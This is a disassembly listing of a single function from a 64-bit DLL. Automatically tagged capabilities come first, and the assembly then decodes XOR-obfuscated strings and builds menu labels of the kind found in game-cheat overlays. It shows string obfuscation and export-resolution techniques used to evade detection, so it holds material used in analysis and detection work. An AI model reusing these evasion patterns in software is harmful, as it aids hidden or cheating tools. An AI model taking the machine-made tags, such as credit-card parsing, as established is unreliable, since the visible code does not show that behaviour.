Function at 0x18007f5e0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Encode data using xor
Encrypt data using speck
Hash data using fnv
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x90a0]
mov eax, 0x91a0
call fcn.18019d760
sub rsp, rax
movaps xmmword [rsp + 0x9190], xmm6
movaps xmmword [rsp + 0x9180], xmm7
movaps xmmword [rsp + 0x9170], xmm8
movaps xmmword [rsp + 0x9160], xmm9
movaps xmmword [rsp + 0x9150], xmm10
movaps xmmword [rsp + 0x9140], xmm11
movaps xmmword [rsp + 0x9130], xmm12
movaps xmmword [rsp + 0x9120], xmm13
movaps xmmword [rsp + 0x9110], xmm14
movaps xmmword [rsp + 0x9100], xmm15
mov rax, qword [0x18023c800]
xor rax, rsp
mov qword [rbp + 0x8ff8], rax
call fcn.180017770
call fcn.180016e00
movss xmm0, dword [0x18023c510]
lea rcx, [rbp + 0x2e8]
movss xmm1, dword [0x18023c514]
xor r9d, r9d
xor r8d, r8d
movss dword [rbp + 0x2e8], xmm0
lea rdx, [rax + 8]
movss dword [rbp + 0x2ec], xmm1
call fcn.180025fe0
movzx ecx, word [0x1801b6aac]
xor edx, edx
mov eax, dword [str.yVMFSE8]
mov r8d, 0x210b
mov dword [rbp + 0x1f0], eax
movzx eax, byte [0x1801b6aae]
xor byte [rbp + 0x1f1], 0x33
xor al, 0x38
xor byte [rbp + 0x1f2], 0x34
xor byte [rbp + 0x1f3], 0x35
mov word [rbp + 0x1f4], cx
xor cl, 0x36
xor byte [rbp + 0x1f5], 0x37
mov byte [rbp + 0x1f4], cl
lea rcx, [rbp + 0x1f0]
mov byte [rbp + 0x1f0], Ordinal_79
mov byte [rbp + 0x1f6], al
call fcn.18000d420
call fcn.180016e00
movzx ecx, byte [0x18023d1e0]
xorps xmm10, xmm10
movss xmm0, dword [rax + 0x14]
mulss xmm0, dword [0x1801a17fc]
mov rax, qword [0x18023d3b8]
movss dword [0x18024026c], xmm0
test cl, cl
je 0x18007f753
movss xmm1, dword [0x1801bab18]
jmp 0x18007f756
xorps xmm1, xmm1
movss xmm0, dword [0x180240268]
subss xmm1, xmm0
mulss xmm1, dword [rax + 0x18]
addss xmm0, xmm1
comiss xmm0, dword [0x1801bab14]
movss dword [0x180240268], xmm0
jbe 0x18007f793
test cl, cl
je 0x18007f793
mov eax, dword [0x18023d1e4]
mov dword [0x1802402a0], eax
mov byte [0x18023d1e0], 0
lea rcx, [rbp + 0x2e08]
call fcn.1800179d0
lea rcx, [rbp + 0x2da8]
call fcn.180016790
call fcn.180017980
movups xmm0, xmmword [0x1801ff570]
lea rcx, [0x18023d208]
mov rbx, rax
movss xmm6, dword [0x1801a17bc]
movaps xmm1, xmm6
movups xmmword [rbp + 0x2e18], xmm0
call fcn.180016660
mov edx, eax
lea rcx, [rbp + 0x2e28]
call fcn.180012860
movaps xmm1, xmm6
lea rcx, [0x18023d218]
call fcn.180016660
mov edx, eax
lea rcx, [rbp + 0x2e38]
call fcn.180012860
movss xmm8, dword [0x1801ff588]
lea rcx, [rbp + 0x2e18]
movss xmm7, dword [0x18023c510]
movss xmm9, dword [0x18023c514]
movss xmm6, dword [0x18023c518]
call fcn.180012540
movaps xmm1, xmm9
lea r8, [rbp + 0x300]
addss xmm1, dword [rbp + 0x2e0c]
movaps xmm0, xmm7
lea rdx, [rbp + 0x2e08]
addss xmm0, dword [rbp + 0x2e08]
xor esi, esi
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rbp + 0x304], xmm1
movss dword [rsp + 0x20], xmm6
movss dword [rbp + 0x300], xmm0
call fcn.18002e4d0
lea rcx, [rbp + 0x2e28]
call fcn.180012540
movss xmm3, dword [rbp + 0x2e0c]
lea r8, [rbp + 0x308]
movss xmm2, dword [rbp + 0x2e08]
lea rdx, [rbp + 0x310]
movss xmm6, dword [0x1801baad0]
movaps xmm1, xmm3
movaps xmm0, xmm7
mov dword [rsp + 0x28], Ordinal_50
subss xmm0, dword [0x1801a17d4]
addss xmm1, xmm6
movss dword [rsp + 0x20], xmm8
addss xmm3, xmm10
mov r9d, eax
mov rcx, rbx
addss xmm0, xmm2
addss xmm2, dword [0x1801baafc]
movss dword [rbp + 0x30c], xmm1
movss dword [rbp + 0x314], xmm3
movss dword [rbp + 0x308], xmm0
movss dword [rbp + 0x310], xmm2
call fcn.18002e4d0
lea rcx, [rbp + 0x2e28]
call fcn.180012540
movss xmm0, dword [rbp + 0x2e08]
lea r8, [rbp + 0x318]
addss xmm0, dword [0x1801a1880]
movaps xmm1, xmm9
mov dword [rsp + 0x28], 0x50
addss xmm1, dword [rbp + 0x2e0c]
mov r9d, eax
movss dword [rsp + 0x20], xmm8
lea rdx, [rbp + 0x2e08]
mov rcx, rbx
movss dword [rbp + 0x318], xmm0
movss dword [rbp + 0x31c], xmm1
call fcn.18002e4d0
lea rcx, [rbp + 0x2e38]
call fcn.180012540
movss xmm2, dword [rbp + 0x2e0c]
lea r8, [rbp + 0x320]
movss xmm1, dword [rbp + 0x2e08]
lea rdx, [rbp + 0x328]
movaps xmm0, xmm2
mov dword [rsp + 0x28], esi
addss xmm0, dword [0x1801baad4]
addss xmm7, xmm1
movss dword [rsp + 0x20], xmm8
addss xmm2, xmm6
mov r9d, eax
addss xmm1, xmm10
mov rcx, rbx
movss dword [rbp + 0x324], xmm0
movss dword [rbp + 0x320], xmm7
movss dword [rbp + 0x32c], xmm2
movss dword [rbp + 0x328], xmm1
call fcn.18002e4d0
lea rcx, [rbp + 0x2e38]
call fcn.180012540
movss xmm2, dword [rbp + 0x2e08]
lea r8, [rbp + 0x330]
movss xmm3, dword [rbp + 0x2e0c]
lea rdx, [rbp + 0x338]
movaps xmm0, xmm2
mov dword [rsp + 0x28], esi
addss xmm0, dword [0x1801bab04]
addss xmm2, dword [0x1801a1880]
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm8
addss xmm1, xmm3
mov r9d, eax
addss xmm3, xmm6
mov rcx, rbx
movss dword [rbp + 0x330], xmm0
movss dword [rbp + 0x338], xmm2
movss dword [rbp + 0x334], xmm1
movss dword [rbp + 0x33c], xmm3
call fcn.18002e4d0
movss xmm1, dword [0x1801a17b8]
xorps xmm0, xmm0
call fcn.180026180
lea rdx, [rbp + 0x340]
mov dword [rbp + 0x340], 0x40000000
mov ecx, reloc.WS2_32.dll_ntohl
mov dword [rbp + 0x344], 0x40800000
call fcn.180021540
call fcn.180017540
addss xmm0, dword [0x1801baadc]
lea rcx, [rbp + 0x348]
mov dword [rbp + 0x348], 0x41480000
movss dword [rbp + 0x34c], xmm0
call fcn.1800255f0
mov eax, dword [str.fRVF6]
lea rdx, [rbp + 0x350]
subss xmm9, dword [0x1801baaf0]
mov dword [rbp - 0x50], eax
lea rcx, [rbp - 0x50]
movzx eax, byte [0x1801b6ab4]
xor r9d, r9d
xor byte [rbp - 0x4f], 0x33
xor al, 0x36
xor byte [rbp - 0x4e], 0x34
xor r8d, r8d
xor byte [rbp - 0x4d], 0x35
mov byte [rbp - 0x4c], al
movss dword [rbp + 0x354], xmm9
mov dword [rbp + 0x350], 0x433e0000
mov byte [rbp - 0x50], 0x54
call fcn.18000fbb0
lea rax, [0x1801b87a4]
mov qword [rbp + 0x2e48], rax
lea rax, str.Visuals
mov qword [rbp + 0x2e50], rax
lea rax, str.Combats
mov qword [rbp + 0x2e58], rax
lea rax, str.Online
mov qword [rbp + 0x2e60], rax
lea rax, str.Miscellaneous
mov qword [rbp + 0x2e68], rax
lea rax, [0x1801a0ed4]
mov qword [rsp + 0x60], rax
mov ebx, esi
lea rax, [0x1801a0ed8]
mov edi, esi
mov qword [rsp + 0x68], rax
lea rax, [0x1801a0edc]
mov qword [rsp + 0x70], rax
lea rax, [0x1801a0ed0]
mov qword [rsp + 0x78], rax
lea rax, [0x1801a0ecc]
mov qword [rbp - 0x80], rax
nop
mov rdx, qword [rsp + rdi + 0x60]
lea r8, [0x1802402a0]
mov rcx, qword [rbp + rdi + 0x2e48]
mov r9d, ebx
call fcn.18000a030
test al, al
je 0x18007fbc6
mov dword [0x1802402a4], esi
inc ebx
add rdi, 8
cmp ebx, 5
jl 0x18007fba0
call fcn.180013c40
mov ecx, 1
call fcn.180020d20
lea rcx, [rbp + 0x358]
mov dword [rbp + 0x358], 0x43548000
mov dword [rbp + 0x35c], 0x41480000
call fcn.1800255f0
call fcn.180010470
mov eax, dword [0x1802402a0]
movdqa xmm9, xmmword [0x1801bad00]
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm12, xmmword [0x1801babe0]
movdqa xmm13, xmmword [0x1801bab80]
movdqa xmm14, xmmword [0x1801bac50]
movdqa xmm15, xmmword [0x1801bab70]
movss xmm11, dword [0x1801a189c]
movdqa xmmword [rbp + 0x1de0], xmm9
test eax, eax
jne 0x1800801a1
mov eax, dword [0x1801b6ab8]
lea rdx, [0x1802402a4]
mov dword [rbp - 0x48], eax
lea rcx, [rbp - 0x48]
movzx eax, byte [0x1801b6abc]
xor r8d, r8d
xor byte [rbp - 0x47], 0x33
xor al, 0x36
xor byte [rbp - 0x46], 0x34
xor byte [rbp - 0x45], 0x35
mov byte [rbp - 0x44], al
mov byte [rbp - 0x48], Ordinal_79
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
movzx ecx, word [0x1801b6ac4]
lea rdx, [0x1802402a4]
mov eax, dword [0x1801b6ac0]
mov r8d, 1
mov dword [rbp + 0x168], eax
movzx eax, byte [0x1801b6ac6]
xor byte [rbp + 0x169], 0x33
xor al, 0x38
xor byte [rbp + 0x16a], 0x34
xor byte [rbp + 0x16b], 0x35
mov word [rbp + 0x16c], cx
xor cl, 0x36
xor byte [rbp + 0x16d], 0x37
mov byte [rbp + 0x16c], cl
lea rcx, [rbp + 0x168]
mov byte [rbp + 0x168], 0x57
mov byte [rbp + 0x16e], al
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dVU__9tAQPUVU9]
mov qword [rbp + 0x360], rax
je 0x18007fe50
cmp r12d, 2
jl 0x18007fe15
movdqa xmm7, xmmword [0x1801bab60]
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x360]
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x360], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x364]
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movd dword [rbp + 0x364], xmm1
jmp 0x18007fe58
lea r9, [rbp + 0x360]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18007fe20
movdqa xmm7, xmmword [0x1801bab60]
mov r8d, 2
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x360]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [0x1801b6ad0]
mov qword [rbp + 0x368], rax
je 0x18007ffc0
cmp r12d, 2
jl 0x18007ff7d
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x368]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x368], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x36c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x36c], xmm2
jmp 0x18007ffc0
lea r9, [rbp + 0x368]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18007ff90
mov r8d, 3
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x368]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
cmp byte [0x1801b6ae5], sil
mov eax, dword [0x1801b6ae0]
movsd xmm0, qword [0x1801b6ad8]
mov dword [rbp + 0x19c8], eax
movzx eax, word [0x1801b6ae4]
mov word [rbp + 0x19cc], ax
movsd qword [rbp + 0x19c0], xmm0
je 0x180080150
mov r8d, esi
cmp r12d, 2
jl 0x180080108
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6ad8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x19c0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19c4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180080120
mov r8d, 4
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x19c0]
call fcn.180009950
call fcn.180014680
mov rcx, qword [0x180240250]
call fcn.180020fb0
call fcn.180017980
mov rdi, rax
mov eax, dword [str.yvmfse8]
mov dword [rbp + 0x170], eax
movzx eax, word [0x1801b6b9c]
mov word [rbp + 0x174], ax
jmp 0x180080e45
cmp eax, 1
jne 0x1800805cb
mov eax, dword [0x1801b6ae8]
lea rdx, [0x1802402a4]
mov dword [rbp - 0x40], eax
lea rcx, [rbp - 0x40]
movzx eax, byte [0x1801b6aec]
xor r8d, r8d
xor byte [rbp - 0x3f], 0x33
xor al, 0x36
xor byte [rbp - 0x3e], 0x34
xor byte [rbp - 0x3d], 0x35
mov byte [rbp - 0x3c], al
mov byte [rbp - 0x40], Ordinal_79
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
mov eax, dword [0x1801b6af0]
lea rdx, [0x1802402a4]
mov dword [rbp + 0xb0], eax
lea rcx, [rbp + 0xb0]
movzx eax, word [0x1801b6af4]
mov r8d, 1
xor byte [rbp + 0xb1], 0x33
xor byte [rbp + 0xb2], 0x34
xor byte [rbp + 0xb3], 0x35
mov word [rbp + 0xb4], ax
xor al, 0x36
xor byte [rbp + 0xb5], 0x37
mov byte [rbp + 0xb4], al
mov byte [rbp + 0xb0], 0x52
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
mov eax, dword [0x1801b6af8]
lea rdx, [0x1802402a4]
mov dword [rbp + 0xb8], eax
lea rcx, [rbp + 0xb8]
movzx eax, word [0x1801b6afc]
mov r8d, 2
xor byte [rbp + 0xb9], 0x33
xor byte [rbp + 0xba], 0x34
xor byte [rbp + 0xbb], 0x35
mov word [rbp + 0xbc], ax
xor al, 0x36
xor byte [rbp + 0xbd], 0x37
mov byte [rbp + 0xbc], al
mov byte [rbp + 0xb8], 0x41
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dVU__9pFXYSC]
mov qword [rbp + 0x370], rax
je 0x180080410
cmp r12d, 2
jl 0x1800803cc
movdqa xmm7, xmmword [0x1801bab60]
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x370]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x370], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x374]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x374], xmm2
jmp 0x180080418
lea r9, [rbp + 0x370]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800803e0
movdqa xmm7, xmmword [0x1801bab60]
mov r8d, 3
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x370]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
cmp byte [0x1801b6b15], sil
mov eax, dword [0x1801b6b10]
movsd xmm0, qword [0x1801b6b08]
mov dword [rbp + 0x19d8], eax
movzx eax, word [0x1801b6b14]
mov word [rbp + 0x19dc], ax
movsd qword [rbp + 0x19d0], xmm0
je 0x1800805a0
mov r8d, esi
cmp r12d, 2
jl 0x180080560
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6b08]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x19d0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19d4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19d0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180080570
mov r8d, 4
lea rcx, [rbp + 0x19d0]
lea rdx, [0x1802402a4]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
jmp 0x180080169
cmp eax, 2
jne 0x1800806a0
mov eax, dword [0x1801b6b18]
lea rdx, [0x1802402a4]
mov dword [rbp - 0x38], eax
lea rcx, [rbp - 0x38]
movzx eax, byte [0x1801b6b1c]
xor r8d, r8d
xor byte [rbp - 0x37], 0x33
xor al, 0x36
xor byte [rbp - 0x36], 0x34
xor byte [rbp - 0x35], 0x35
mov byte [rbp - 0x34], al
mov byte [rbp - 0x38], Ordinal_79
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
movzx ecx, word [0x1801b6b28]
mov r8d, 1
movsd xmm0, qword [0x1801b6b20]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp + 0x1230], xmm0
xor byte [rbp + 0x1231], 0x33
xor byte [rbp + 0x1232], 0x34
xor byte [rbp + 0x1233], 0x35
xor byte [rbp + 0x1234], 0x36
xor byte [rbp + 0x1235], 0x37
xor byte [rbp + 0x1236], 0x38
xor byte [rbp + 0x1237], 0x39
mov word [rbp + 0x1238], cx
xor cl, 0x3a
xor byte [rbp + 0x1239], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1238], cl
mov byte [rbp + 0x123a], al
lea rcx, [rbp + 0x1230]
mov byte [rbp + 0x1230], 0x53
jmp 0x1800805ad
cmp eax, 3
jne 0x180080a1e
cmp byte [0x1801b6b3b], sil
movsd xmm0, qword [0x1801b6b30]
mov eax, dword [0x1801b6b38]
movsd qword [rbp + 0x14a8], xmm0
mov dword [rbp + 0x14b0], eax
je 0x180080835
movdqa xmm8, xmmword [0x1801bab60]
mov r8d, esi
cmp r12d, 2
jl 0x1800807cb
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6b30]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x14a8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14ac]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14ac], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14a8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800807e0
xor r8d, r8d
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x14a8]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
jmp 0x180080861
xor r8d, r8d
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x14a8]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
movdqa xmm8, xmmword [0x1801bab60]
mov eax, dword [str.VROI_]
mov r8d, esi
movsd xmm0, qword [0x1801b6b40]
mov dword [rbp + 0x1788], eax
movzx eax, byte [0x1801b6b4c]
mov byte [rbp + 0x178c], al
movsd qword [rbp + 0x1780], xmm0
cmp r12d, 2
jl 0x18008097a
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6b40]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1780], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1784]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1784], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1780]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180080990
mov r8d, 1
lea rdx, [0x1802402a4]
lea rcx, [rbp + 0x1780]
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
call fcn.180014680
mov rcx, qword [0x180240250]
call fcn.180020fb0
call fcn.180017980
mov rdi, rax
mov eax, dword [str.yvmfse8]
mov dword [rbp + 0x170], eax
movzx eax, word [0x1801b6b9c]
mov word [rbp + 0x174], ax
jmp 0x180080e4e
cmp eax, 4
jne 0x180080e12
mov eax, dword [0x1801b6b50]
lea rdx, [0x1802402a4]
mov dword [rbp - 0x30], eax
lea rcx, [rbp - 0x30]
movzx eax, byte [0x1801b6b54]
xor r8d, r8d
xor byte [rbp - 0x2f], 0x33
xor al, 0x36
xor byte [rbp - 0x2e], 0x34
xor byte [rbp - 0x2d], 0x35
mov byte [rbp - 0x2c], al
mov byte [rbp - 0x30], Ordinal_79
call fcn.180009950
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
movzx ecx, word [0x1801b6b60]
lea rdx, [0x1802402a4]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov r8d, 1
movsd xmm0, qword [0x1801b6b58]
xor al, 0x3c
movsd qword [rbp + 0x1240], xmm0
xor byte [rbp + 0x1241], 0x33
